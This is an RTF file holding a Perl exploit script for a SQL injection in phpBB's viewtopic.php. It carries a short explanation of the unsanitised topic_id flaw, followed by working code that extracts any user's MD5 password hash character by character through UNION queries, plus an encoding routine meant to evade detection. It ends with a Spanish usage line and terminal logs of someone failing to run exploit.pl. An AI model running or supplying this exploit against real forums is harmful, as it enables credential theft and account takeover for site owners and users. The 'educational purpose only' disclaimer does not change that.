{\rtf1\mac\ansicpg10000\cocoartf824\cocoasubrtf410
{\fonttbl\f0\fnil\fcharset77 Verdana;}
{\colortbl;\red255\green255\blue255;}
\margl1440\margr1440\vieww9000\viewh8400\viewkind0
\deftab720
\pard\pardeftab720\ql\qnatural

\f0\fs32 \cf0 #!/usr/bin/perl -w\
#\
#\
# phpBB password disclosure vuln.\
# - rick patel (rikul7@yahoo.com) -\
# \
# There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id\
# which gets passed directly to sql server in query. Attacker could pass a special sql string which\
# can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with\
# autologin or cracked using john. \'ca\
#\
# Details: \
#\
# this is checking done for $topic_id in viewtopic.php:\
#\
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )\
# \{\
# \'ca \'ca \'ca $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);\
# \}\
# else if ( isset($HTTP_GET_VARS['topic']) )\
# \{\
# \'ca \'ca \'ca $topic_id = intval($HTTP_GET_VARS['topic']);\
# \}\
#\
# ok... no else statement at end \
# now if GET[view]=newest and GET[sid] is set, this query gets executed:\
#\
# \'ca$sql = "SELECT p.post_id\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, \'ca" . USERS_TABLE . " u\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca WHERE s.session_id = '$session_id'\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'caAND u.user_id = s.session_user_id\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'caAND p.topic_id = $topic_id\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'caAND p.post_time >= u.user_lastvisit\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca ORDER BY p.post_time ASC\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca LIMIT 1";\
#\
# Ahh! $topic_id gets passed directy to query. So how can we use this to do something important? Well\
# I decided to use union and create a second query will get us something useful. There were couple of \
# \'ca problems i ran into. first, phpBB only cares about the first row returned. second, the select for first\
# query is p.post_id which is int, so int becomes the type returned for any other query in union. third,\
# there is rest of junk at end " AND p.post_time >= ..." We tell mysql to ignore that by placing /* at end\
# \'caof our injected query. So what query can we make that returns only int? \'ca\
# this one => select ord(substring(user_password,$index,1)) from phpbb_users where user_id = $uid\
# Then all we have to do is query 32 times which $index from 1-32 and we get ord value of all chars of\
# md5 hash password. \
#\
# \'ca I have only tested this with mysql 4 and pgsql . Mysql 3.x does not support unions so you would have to tweak\
# the query to do anything useful. \
# \
# This script is for educational purpose only. Please dont use it to do anything else. \
#\
\
use IO::Socket;\
\
$remote = shift || 'localhost';\
$view_topic = shift || \'ca'/phpBB2/viewtopic.php';\
$uid = shift || 2;\
$port = 80;\
\
$dbtype = 'mysql4'; # mysql4 or pgsql \
\
\
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\\n";\
\
$p = "";\
\
for($index=1; $index<=32; $index++)\
\{\
$socket = IO::Socket::INET->new(PeerAddr => $remote,\
\'ca \'caPeerPort => $port,\
\'ca \'caProto => "tcp",\
\'ca \'caType => SOCK_STREAM)\
or die "Couldnt connect to $remote:$port : $@\\n";\
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . \'carandom_encode(make_dbsql()) . \'ca"&view=newest" . " HTTP/1.0\\n\\n";\
\
print $socket $str;\
print $socket "Cookie: phpBB2mysql_sid=1\\n"; # replace this for pgsql or remove it\
print $socket "Host: $remote\\n\\n";\
\
while ($answer = <$socket>)\
\{\
\'caif ($answer =~ /Location:.*\\x23(\\d+)/) # Matches the Location: viewtopic.php?p=<num>#<num>\
\'ca\{\
\'ca $p .= chr ($1);\
\'ca\}\
\}\
\
close($socket);\
\}\
\
print "\\nMD5 Hash for uid $uid is $p\\n";\
\
# random encode str. helps avoid detection\
sub random_encode\
\{\
$str = shift;\
$ret = "";\
for($i=0; $i<length($str); $i++)\
\{\
\'ca$c = substr($str,$i,1);\
\'ca$j = rand length($str) * 1000;\
\'ca\
\'caif (int($j) % 2 || $c eq ' ')\
\'ca\{\
\'ca $ret .= "%" . sprintf("%x",ord($c));\
\'ca\}\
\'caelse\
\'ca\{\
\'ca $ret .= $c;\
\'ca\}\
\}\
return $ret;\
\}\
\
sub make_dbsql\
\{\
if ($dbtype eq 'mysql4')\
\{\
\'careturn " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*";\
\} elsif ($dbtype eq 'pgsql')\
\{\
\'careturn "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";\
\}\
else \
\{\
\'careturn "";\
\}\
\}=}

- Los que estan en perl (exploit.pl) se lanzan, tanto en msdos como en linux:

perl exploit.pl <parametros> <parametros>

Last login: Mon Jul 17 04:02:22 on ttyp1
Welcome to Darwin!
adsl-70-141-110-168:~ marcela$ exploit.pl
-bash: exploit.pl: command not found
adsl-70-141-110-168:~ marcela$

Last login: Mon Jul 17 22:32:14 on console
Welcome to Darwin!
ppp-70-246-231-100:~ marcela$ perl exploit.pl
Can't open perl script "exploit.pl": No such file or directory

~ marcela$ exploit.pl
-bash: exploit.pl: command not found